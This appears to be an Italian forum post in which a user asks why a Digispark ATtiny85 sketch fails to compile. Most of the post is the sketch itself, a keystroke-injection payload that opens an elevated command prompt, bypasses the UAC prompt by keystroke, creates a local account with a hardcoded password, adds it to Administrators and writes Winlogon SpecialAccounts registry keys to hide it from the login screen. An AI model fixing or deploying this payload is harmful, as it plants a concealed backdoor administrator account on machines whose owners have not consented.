Sto usando una scheda Digispark attiny85 quando vado a compilare questo script:
//Questo script DigiSpark crea un nuovo utente locale e lo aggiunge al gruppo "Amministratori"
#include "KeyboardIT.h"
#define LED 1 //LED collegato al pin digitale 1
void setup() {
pinMode(LED, OUTPUT); //Inizializziamo il pin 1 come una uscita
}
void loop() {
digitalWrite(LED, HIGH); //Accendi Led per indicare inizio programma
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
/* Presumendo che l'utente abbia già PowerShell - Prova a nascondere l'account utente dalla schermata di accesso */
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\'\" -Name \"SpecialAccounts\" "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell New-Item -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts'\" -Name \"UserList\" "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("powershell New-ItemProperty -Path \"\'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\'\" -Name \"accName\" -Value \"0\" -PropertyType DWORD "));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
/* Si nascondere la sezione utente */
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
digitalWrite(LED, LOW); //Spegni Led per indicare fine del programma
for(;;){ /*empty*/ }
}
mi da questo errore:
exit status 1
Errore durante la compilazione per la scheda Digispark (Default - 16.5mhz).
non mi indica alcuna riga di riferimento, come mai non me lo vuole compilare?